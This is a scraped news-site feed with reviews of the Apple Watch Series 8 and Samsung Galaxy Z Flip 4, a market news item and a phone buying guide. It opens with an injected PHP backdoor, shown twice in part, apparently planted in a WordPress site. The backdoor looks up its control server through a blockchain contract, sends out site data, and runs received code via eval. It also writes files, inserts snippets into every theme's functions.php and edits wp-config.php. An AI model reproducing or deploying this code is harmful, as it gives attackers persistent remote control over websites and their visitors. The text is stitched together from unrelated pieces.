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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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]]> https://briefnews.eu/the-best-portable-coffee-makers/feed/ 0 Apple Watch Series 8 review: The best Apple Watch gets better https://briefnews.eu/apple-watch-series-8-review-the-best-apple-watch-gets-better/ https://briefnews.eu/apple-watch-series-8-review-the-best-apple-watch-gets-better/#respond Tue, 27 Sep 2022 11:47:17 +0000 https://briefnews.eu/apple-watch-series-8-review-the-best-apple-watch-gets-better/ In 2022, the Apple Watch is a known quantity — and one of the most recognizable products in Apple’s portfolio. That’s why when you look at the Apple Watch Series 8, you have a pretty good idea of what to expect. It’s bound to be easy to wear, have plenty of health features, and offer the best software you can find on any smartwatch.

After wearing the Apple Watch Series 8 for a while, I can confidently say that all of those things are true. Wearing the Series 8 has reminded me a lot of my Apple Watch Series 7 I’ve worn for the past year because, well, the Series 8 is practically identical to it. It’s very similar to the iPhone 14 in that way. Apple didn’t reinvent the wheel with the Apple Watch Series 8, and that’s because it’s already so far ahead of the curve that it doesn’t need to.

Call it “boring” or “bland” if you want, but that doesn’t stop the Apple Watch Series 8 from being the best smartwatch money can buy.

Apple Watch Series 8 design

The always-on mode on an Apple Watch Series 8.
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What’s going on with the Apple Watch Series 8’s design? Well, it looks like an Apple Watch. Apple’s had a very clear and focused design approach ever since the original Apple Watch debuted in 2014, and while new models have improved things over the years, the general aesthetics haven’t changed very much. When you have a design foundation that’s this good, it’s understandable why that is.

Whether you get the Apple Watch Series 8 in the 41mm or 45mm trim (the version I have), both feel fantastic to wear all day long — and even throughout the night if you’re interested in sleep tracking. The watch sits comfortably on my wrist, the squircle shape is one I personally love to look at, and a WR50 rating provides waterproofing for up to 50 meters of submersion.

The Digital Crown on an Apple Watch Series 8.
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Apple’s execution of the Apple Watch’s design is also as excellent as it’s ever been. When you scroll through menus or notifications, the Digital Crown feels wonderful to interact with. Pressing the side button below it offers great tactility to swap apps or open Apple Wallet. When you’re ready to put on a new watch band, Apple’s band system is among the easiest to use.

If you’ve never liked how the Apple Watch looks, the Apple Watch Series 8 doesn’t do anything to change that opinion. But if you do like how the Apple Watch looks and feels, the Series 8 is more of what you love.

Apple Watch Series 8 screen

An Apple Watch Series 8 with the screen turned on.
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The standout feature of the Apple Watch Series 7 was its larger screen and slimmer bezels, enabling you to see more content on the tiny display than ever before. The Apple Watch Series 8 recycles that same design, and just like last year, it creates a truly impressive viewing experience. Watch faces have room to shine, notifications creep out to the very edges of the screen, and navigating apps/menus never feels restrictive — especially on the larger 45mm model.

And it’s not just the size of the screen that’s so impressive. Colors pop with vibrancy, text is easily readable, and the 1,000 nits of peak brightness ensure you can easily read the watch even in broad daylight.

The always-on mode on an Apple Watch Series 8.
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When you’re not interacting with apps or notifications, the Apple Watch Series 8 has an always-on display to show a dimmed version of your watch face at all times. The Apple Watch has had an always-on display since the Series 5, so while it’s nothing new, it still remains one of my favorite Apple Watch features. Being able to subtly glance down and see the time, weather, and other info without needing to raise my wrist is enormously convenient — and one of the biggest missing features from the cheaper Apple Watch SE 2.

Apple Watch Series 8 health and activity

An Apple Watch Series 8 running the Activity app.
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The market for health/fitness trackers in 2022 is crowded, to say the least. From Fitbit, Garmin, Oura, Amazon Halo, Whoop, Amazfit, and more, the myriad of options to track your daily activity often feels overwhelming. Despite all of that, Apple has done an incredible job of making the Apple Watch’s health and activity suite feel simultaneously approachable, intuitive, and comprehensive.

The crux of activity tracking on the Apple Watch Series 8 revolves around your activity rings — more specifically, your Move, Exercise, and Stand rings. Each one encourages you to burn calories, perform X amount of exercise minutes, and get up and stand throughout the day. It’s one of the most recognizable activity metrics around and has created something of a cultural phenomenon to “close your rings” every day.

WatchOS 9 software with its new workout screens.
New Workout views in WatchOS 9 Apple

If you’ve ever used an Apple Watch, you’ll know precisely why that is. Aiming to close your rings each day is fun, challenging, and a clear metric to work toward. It’s still not great at promoting recovery days, but third-party apps (like Gentler Streak) help to fill that void.

To measure your ring progress throughout the day, the Apple Watch Series 8 records a vast array of health metrics.  It tracks your steps, distance, resting and active energy, and 24/7 heart rate. There’s also an ECG app to get on-demand ECG readings, a SpO2 sensor for manual and automatic blood-oxygen level tracking, and sleep tracking to measure the quality of your slumber at night. You can use all of these features if you’d like, pick and choose the ones you want, or ignore all of them.

Apple Watch Series 8 showing sleep tracking results.
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While health tracking on Apple Watch Series 8 is nearly identical to previous models, Apple’s WatchOS 9 software does add a few nifty additions. Some exercises now show heart rate zones in real-time, making it much easier to gauge the intensity of your workouts. Speaking of workouts, WatchOS 9 allows you to create custom workout routines that you can tweak with custom time, distance, calorie, and pacer goals. And when it comes time to rest up, WatchOS 9 adds sleep stages to show you how much time you’ve spent in REM, Core, and Deep sleep (critical data that was previously missing in WatchOS 8).

Apple Watch Series 8 temperature sensors

The back of an Apple Watch Series 8.
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That said, there is one new hardware addition to the Apple Watch Series 8’s health toolkit — a pair of temperature sensors. Using one sensor on the back and another underneath the display, the Apple Watch Series 8 tracks your wrist temperature and displays those readings in the Health app on your iPhone. You need to enable sleep tracking and wear the Series 8 for about five nights before it establishes a baseline, but once that’s done, you’ll see a new Wrist Temperature section in the Health app.

Per Apple’s website, wrist temperature changes can be related to your “diet and exercise, alcohol consumption, sleep environment, or physiological factors such as menstrual cycles and illness.” It’s a neat metric to have, but I also don’t know what to do with it. I see my wrist temperature in the Health app, but there’s no guidance about what these numbers mean. My temperature was 1.05 degrees higher on September 19 but 0.59 degrees lower on September 26. There’s probably some meaning to that, but I have no idea what it is. I’ll give Apple credit for doing something out of the box with its temperature sensors (unlike the Galaxy Watch 5), but I’m much more interested in seeing what third-party apps do with this data.

Apple Watch Series 8 health features.
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There is another aspect of the Series 8’s temperature sensors, but it’s not a feature I’ve been able to test. After wearing the Apple Watch Series 8 for five nights, users who take advantage of Apple’s Cycle Tracking app will see retrospective estimates for when they last ovulated — something potentially very helpful for family planning.

Apple Watch Series 8 car crash detection

Car crash detection on Apple Watch Series 8.
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There’s another Apple Watch Series 8 feature I haven’t been able to test, and it’s one I’m hoping that I never will. Like the iPhone 14, the Apple Watch Series 8 offers car crash detection. If you’re ever in a severe accident, the Series 8 will ask if you’re OK with a prompt to call emergency services. If you don’t respond to that prompt within 10 seconds, the call is automatically placed for you.

The feature appears to work quite well on this year’s iPhones, so it’s safe to assume it’s just as good on the Series 8. While I’m crossing my fingers that I (and anyone else with a Series 8) never have to use car crash detection, it is reassuring to know that it’s there — just in case.

Apple Watch Series 8 WatchOS 9

An Apple Watch Series 8 with the display turned on.
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When you buy an Apple Watch Series 8, WatchOS 9 is the software powering it right out of the box. As mentioned above, WatchOS 9 improves the health/fitness experience with new workout metrics and better sleep tracking. But that’s not all.

In typical Apple fashion, WatchOS 9 brings a few new watch faces to keep your watch feeling fresh. Metropolitan is my personal favorite, which is an analog clock with customizable numerals and has plenty of room for complications. There’s a charming face called Playtime, which is a digital face that turns the numbers into playful characters.

If you’re an astronomy nut, the Lunar face has a full breakdown of the current lunar calendar. Apple also updated the Astronomy watch face to better utilize the Series 8’s large display, while the Modular, Modular Compact, and X-Large faces can now be customized with full-color backgrounds.

Apple Watch Series 8 running the new Compass app in WatchOS 9.
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Along with checking out the new watch faces, I’ve also had a lot of fun playing with WatchOS 9’s new Compass app. By default, the Compass app shows the current direction and degree you’re facing, along with a permanent marker for north at the top of the screen. You can rotate the Digital Crown up to get a more detailed view of your elevation, incline, latitude, and longitude.

Where the Compass app gets really interesting is with its Backtrack feature. From the Compass app, tap the footprint icon at the bottom right corner and start walking. The app keeps a log of where you go and shows a visual outline of your path in real time. When you’re done, tap the pause icon and then Retrace Steps to follow the path back from which you came. To make things even more interesting, you can create custom waypoints along the way to help you remember where a lake, hill, or another point of interest is.

Apple Watch Series 8 running the Compass app.
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I used the Compass app and the Backtrack feature while out walking around a local nature preserve, and it actually proved quite handy. I took a different path than I normally do, got a bit turned around, and was able to look at my starting point and easily walk back toward it. It’s not a tool I’ll use daily, but it was very convenient to have.

There’s plenty more with WatchOS 9 to sink your teeth into. The Medications app is a great way to track the medicine and vitamins you regularly take, users with atrial fibrillation can now track their AFib history, and the Calendar app finally lets you create events right on your wrist.

Apple Watches with different WatchOS 9 features.
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WatchOS has always been far ahead of wearable software from the competition, and while WatchOS 9 isn’t an overhaul of that experience, it does make it better in some very key ways. All of these things work beautifully on the Apple Watch Series 8, and if you have an Apple Watch Series 4 or newer, you can experience them right now with a free software update — no new Series 8 required.

Apple Watch Series 8 battery and charging

Apple Watch Series 8 showing how much battery is remaining.
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The Apple Watch has always been a reliable one-day smartwatch, and with the Series 8, that’s no different. While you won’t find the next-level endurance of the Apple Watch Ultra, there’s plenty of power here for all-day use without battery anxiety.

During my time wearing the Apple Watch Series 8, I’ve ended each day somewhere in the 40% to 30% battery remaining range. One day saw me put on the Series 8 at about 6:00 am and find myself at 9:15 pm with 48% battery still available. That was after tracking a 20-minute core workout on Apple Fitness+, receiving constant notifications throughout the day, using a couple of timers while cooking dinner, and having the always-on screen enabled.

On a more intensive day, I took the Series 8 off the charger at 9:00 a.m. and had another day filled with notifications and the always-on screen. I also tracked a 1.8-mile outdoor walk and used the Backtrack feature on the Compass app for 40 minutes. I had 33% battery remaining at 2:03 a.m. and woke up at 8:00 a.m. with 23% remaining after tracking my (much too short) sleep.

Just like last year, the Apple Watch Series 8 supports fast charging speeds. It easily goes from 0 to over 80% in 45 minutes and reaches a full battery in around an hour. That’s fast enough to throw the Series 8 on the charger when you wake up after a night of sleep tracking, get ready for the day ahead, and then take it off the charger with a full battery ready to go.

Apple Watch Series 8 price and availability

An Apple Watch Series 8 showing its always-on display.
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The Apple Watch Series 8 is available for purchase now. It starts at $ 399 for the 41mm aluminum case with GPS only. Stepping up to the 45mm aluminum case with GPS will run you $ 429. If you want to add LTE cellular connectivity, the price goes up by $ 100 to $ 429 and $ 529, respectively.

You can also get the Apple Watch Series 8 with a more premium stainless steel case. Here, the 41mm GPS/LTE model costs $ 749, and the 45mm version is $ 799.

The Apple Watch Series 8 is the smartwatch to beat

An Apple Watch Series 8 with the screen turned on.
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There’s nothing surprising or shocking about the Apple Watch Series 8. It does all of the Apple Watch things you expect in 2022, with some added niceties to make it better than ever.

Like the iPhone 14 and iPhone 13 comparison, there’s no need to upgrade to the Apple Watch Series 8 if you already have a Series 7. The chipset is virtually identical, the screen and design are the same, and you’ll get the same WatchOS 9 software experience. But if you’re coming from an Apple Watch Series 6 or older, I think there’s enough here to justify an upgrade. The large display is a joy to look at and interact with, fast charging can be a lifesaver, and the temperature sensors and car crash detection — while not immediately useful for everyone — are really nice to have. And you get all of that at the same $ 399 price Apple’s been charging for Apple Watches for the last few years.

The Apple Watch Series 8 may not be a revolutionary chapter in the Apple Watch story, but as another entry in the family, it’s a remarkably good one. If you have an iPhone, want a smartwatch, and need more functionality than what the Apple Watch SE provides, the Apple Watch Series 8 is our new go-to recommendation. Just like the Series 7, it really is that good.

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]]> https://briefnews.eu/these-are-the-best-portable-storage-drives/feed/ 0 Samsung Galaxy Z Flip 4 review: The best foldable phone you can buy, but that doesn’t mean you should https://briefnews.eu/samsung-galaxy-z-flip-4-review-the-best-foldable-phone-you-can-buy-but-that-doesnt-mean-you-should/ https://briefnews.eu/samsung-galaxy-z-flip-4-review-the-best-foldable-phone-you-can-buy-but-that-doesnt-mean-you-should/#respond Fri, 23 Sep 2022 21:18:58 +0000 https://briefnews.eu/samsung-galaxy-z-flip-4-review-the-best-foldable-phone-you-can-buy-but-that-doesnt-mean-you-should/ When you buy through our links, Insider may earn an affiliate commission. Learn more.

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Samsung's Galaxy Z Flip 4 is the best foldable you can buy, but there are still so many compromises for its high price.

Antonio Villas-Boas

  • The $ 1,000 Samsung Galaxy Z Flip 4 aims to justify its price with beauty and performance.
  • Compared to a traditional flat phone, however, the Galaxy Z Flip 4 is full of compromises.
  • Battery life is mediocre and the foldable phone concept presents usability challenges.

The Galaxy Z Flip 4 is almost a mirror-copy of the Galaxy Z Flip 3 with the bare minimum of upgrades, including 2022's top Android processor. Like its predecessor, there's lots to love about Samsung's newest foldable phone, but there are some missed opportunities, too.

The company set out to fix what desperately needed to be fixed, which was the Z Flip 3's short battery life. Even then, the company hasn't really fixed it — rather, it's been addressed and improved, instead of something new and better.

The Z Flip 4 could also have been an opportunity to make phone actually flip open with one hand rather than needing two hands to unfold due to the stiff hinge. It was also an opportunity to bring down the price, or at least give it comparable battery life and camera quality as other $ 1,000 phones.  

The Galaxy Z Flip 4 is ideal for small pockets, but it's a chore to unfold it

Samsung Galaxy Z Flip 4 folded.
The Galaxy Z Flip 4 is a space-saver when folded, but the two-handed unfold is a chore every time you want to use the phone.

Antonio Villas-Boas

Don't be surprised if people ask why you're still using a flip phone, because foldable smartphones are still a novel concept. The appeal is that you can have a full-size smartphone that clams up to fit easily in pockets. Unlike the "mini" versions of regular smartphones, you don't sacrifice screen size.

The Z Fold 4 is undeniably beautiful with its frosted, matte-textured glass that tastefully contrasts with the shiny metal frame and hinge on our purple review unit. I tend to prefer neutral colors on phones, like whites, silvers, blacks, and blues, but the purple is gorgeous.

But, unfolding it every time you want to use the phone can be a tiresome chore; the hinge is so stiff that it requires both hands. If you're expecting the thumb-flip experience from the old-school Motorola Razr, the Z Flip 4 will disappoint. 

The back of Samsung’s Galaxy Z Flip 4 rear partially unfolded.

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It's possible to unfold the Z Flip 4 with a single hand, but it's an awkward motion — the Z Flip 4 isn't designed for one-handed unfolding. Not to mention there isn't a notch for thumbs to grip and flip.  You might think it sounds trivial, but I found it bothersome enough to mention.

It's clear that Samsung also recognizes this problem, which is why it made the Z Flip 4's outer screen more useful than before. It's tiny, but it displays notifications, lets you control music, set a timer, shows your day's calendar events, and lets you reply to texts with voice. You can even use it as a viewfinder for the main cameras to get better quality selfies, or simply take photos without unfolding the phone. However, you'll need to unfold the phone to use it in most meaningful ways. 

The Galaxy Z Flip 4's foldable display still suffers from its inherent quirks

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The Galaxy Z Flip 4 has a crease where the phone folds, which is typical on foldable phones.

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You'll find a crease where the screen folds, which is an unavoidable trait of foldable phones. Samsung did a good job hiding it: It is nearly invisible while using the phone and it has no negative impact on the phone's usefulness. In fact, I find it oddly satisfying and fun to run my thumb across the crease.

A more concerning quirk is the Z Flip 4's lack of dust resistance, especially in the hinge. It's interesting that Samsung made it water resistant but didn't go further to make it even more rugged. I brought the Z Flip 4 to the beach during testing but realized sand could get into the hinge mechanism, possibly causing all sorts of havoc. So, the Z Flip 4 stayed in my pocket while I used my traditional "flat" phone to take photos.

The Galaxy Z Flip 4 runs incredibly fast, but the screen can feel cramped

The crease where the Samsung Galaxy Z Flip 4’s screen folds.
The Galaxy Z Flip 4's display is narrower than those on flat phones, which cramps apps and content.

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Swiping around the Samsung-customized Android operating system and opening apps is as smooth and snappy as can possibly be, thanks to the Qualcomm Snapdragon 8 Gen 1 processor and the 120-hertz (Hz) display. The latter means it refreshes the display 120 times per second compared to 60 times per second like standard 60Hz screens.

However, the Z Flip 4's narrow display width makes everything look cramped on the screen, including videos, photos, text, and any app content, really. Everything looks smaller than it should on a large 6.7-inch screen because it's being squeezed by the display's narrowness. 

Battery life is longer, but still not as good as a flat phone

Samsung Galaxy Z Flip 4
The Galaxy Z Flip 4's battery life is an improvement over the Z Flip 3, but it's still not on par with traditional flat phones.

Antonio Villas-Boas

Where the Z Flip 3's battery life would get into the single-digit numbers before bedtime, the Z Flip 4 would last longer with around 20% battery life remaining. During testing, I got about two hours of continuous use, which included video streaming, running apps (Reddit, Slack, Chrome, Twitter, and Instagram), messaging, and shooting photos. This is about half the battery life we would expect from a standard phone with a much larger battery, so expect the need to top-off the Z Flip 4 during the day.

Samsung upped the Z Flip 4's charging speed to 25W versus 15W on the Z Flip 3. It means you can recharge the Z Flip 4 faster, which is especially useful when the phone's battery life is shorter than a regular phone's. Plus, it supports 10W wireless charging for slower, lengthier charging, which is ideal if you're sitting at a desk or on the couch for a while.

Samsung Galaxy Z Flip 4
The Galaxy Z Flip 4 supports faster 25W charging than the Z Flip 3, which is a meaningful improvement and helps the phone charge faster.

Antonio Villas-Boas

Samsung doesn't include a charger and you'll need one that handles at least 25 watts. You may have one already, but if not, we recommend Anker's 30W 711 Nano II charger, or something that can handle multiple devices, like Anker's 65W GanPrime 735 for a phone and a tablet, or Anker's 120W GanPrime 737 for a phone and a laptop. 

Despite missing a zoom lens, the camera system is solid

The Z Flip 4 has a dual-lens camera system that includes an ultra-wide lens. It won't disappoint if you simply want something good and reliable. Our only complaint is that it tends to boost colors a little too much, but all Samsung phone cameras suffer from this. 

Compared to the triple-lens cameras you get on Samsung's Galaxy S22 series, which includes a 3x zoom lens, the Z Flip 4 is inferior. The S22's main camera sensor performs better in low-light as well. 

A photo of a barn taken with the Samsung Galaxy Z Flip 4’s main camera.
A photo of a barn taken with the Samsung Galaxy Z Flip 4's main camera.

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A photo of a view taken with the Samsung Galaxy Z Flip 4’s main camera.
A photo of a barn taken with the Samsung Galaxy Z Flip 4's main camera.

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A photo of a view taken with the Samsung Galaxy Z Flip 4’s ultra-wide camera.
A photo of a view taken with the Samsung Galaxy Z Flip 4's ultra-wide camera.

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A photo of a fire station taken with the Samsung Galaxy Z Flip 4’s main camera.
A photo of a fire station taken with the Samsung Galaxy Z Flip 4's main camera.

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Yet, the Z Flip 4 has a neat trick up its sleeve that lets you record video and take photos of yourself hands-free, and it's made possible with the phone's foldable design. It's called Flexcam, and it lets you fold the Z Flip 4 about halfway so the phone can sit on its own. It's like having a tripod to record video or take photos, and it's clearly designed for the social media crowd.

Samsung Galaxy Z Flip 4
You can prop the Galaxy Z Flip 4, almost like a tripod, to take hands-free photos and videos of yourself.

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Samsung Galaxy Z Flip 4 specifications

Specification Samsung Galaxy Z Flip 4
Display 6.7-inch OLED FHD+ (2,640 x 1,080), 120Hz
Colors Bora Purple, Graphite, Pink Gold, Blue
Processor / Memory (RAM) Qualcomm Snapdragon 8+ Gen 1 / 8GB
Rear camera 12MP main, 12MP ultrawide
Front camera 10MP
Storage 128GB, 256GB, 512GB

Should you buy the Galaxy Z Flip 4?

The Samsung Galaxy Z Flip 4 in the folded position.
The Samsung Galaxy Z Flip 4 in the folded position.

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Perhaps the real question is, do you really want a foldable phone? If the concept appeals to you, then the Z Flip 4 is what we'd recommend on account of its excellent performance, design, and solid cameras.

But, foldable phones aren't something we would recommend to most people — at least, not the current generation. As a daily driver, there are too many compromises and shortcomings that overshadow its space-saving benefit, like the constant folding and unfolding, screen width, and shorter battery life. 

Compared with most regular phones, the Z Flip 4 is also expensive at $ 1,000. It's the same price as the iPhone 14 Pro and Galaxy S22 Plus, both of which have superior cameras, performance, and battery life.  

I'm not telling you to stay away — it is a well-made device — but I'm also not saying it should be on your shortlist.

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  • Billionaire David Rubenstein thinks the market downswing is a buying opportunity. 
  • Still, he said he expects more turmoil in the next six to 12 months. 
  • The Carlyle co-founder told CNBC that investors shouldn't exit markets too soon. 

Now isn't the time for investors to run for the door despite worrying signs of an prolonged downturn in the market, according to David Rubenstein. 

The Carlyle Group co-founder told CNBC on Thursday that when markets show signs of depression like today, there's an opportunity to step in and yield a strong return over the long term. 

In other words, buy the dip and hold on. 

"What Warren Buffet and others have done historically is buy when the markets are cheap or when there's blood in the streets," he said. "Right now is not a time to panic and rush out of the markets, in my view."

He added that while some traders are growing anxious, "the best returns probably come from times when markets are depressed like this." 

Rubenstein cautioned that market volatility will most likely continue into the next six to 12 months, and said "if you go in and stay in now, you're probably going to do pretty well."

On Wednesday, the US Federal Reserve hiked benchmark interest rates by an additional 75 basis points, a move that Wall Street had largely priced in. Central bank chair Jerome Powell reiterated that the Fed's main goal is taming inflation, and that more steep rate hikes were likely on the horizon. 

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Engadget's picks

Android or iOS?

Each OS has its pros and cons. Apple’s tight-knit ecosystem makes it super easy to share data between iPhones, iPads and Macs or seamlessly hand-off phone calls or music from one device to another. At the same time, you’re effectively locked in, as services like Apple Messages aren’t available on other platforms.

As for Android, there’s a much wider range of handsets from companies like Google, Samsung, Sony and more. However, Android phones don’t enjoy that same length of software support and often have lower trade-in values. In short, there’s no wrong answer. However, you will want to consider how your phone will fit in with the rest of your devices. So unless you’re really fed up with one OS and willing to learn another, it probably doesn’t make a lot of sense to switch from iOS to Android (or vice versa) – especially if everyone else in your household is using the same platform.

Cameras

Since people’s phones often pull double duty as their primary camera, figuring out what kind of photo tools you want is key. Nowadays, practically every phone can take a great picture in bright light. But if you want a long optical zoom, you’ll probably have to upgrade to a more expensive device.

Close up of the Pixel 6 Pro's camera bump.
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Mid-range phones often only have two rear cameras (a primary wide-angle lens and a secondary ultra-wide camera) and can sometimes struggle in low-light situations. Each phone maker also has various features that might be a better fit for your style, with Apple offering four different color presets on the latest iPhones, while Google’s Pixel 6 comes with neat tools like dedicated long exposure and action pan modes.

Will you get 5G or Wi-Fi 6?

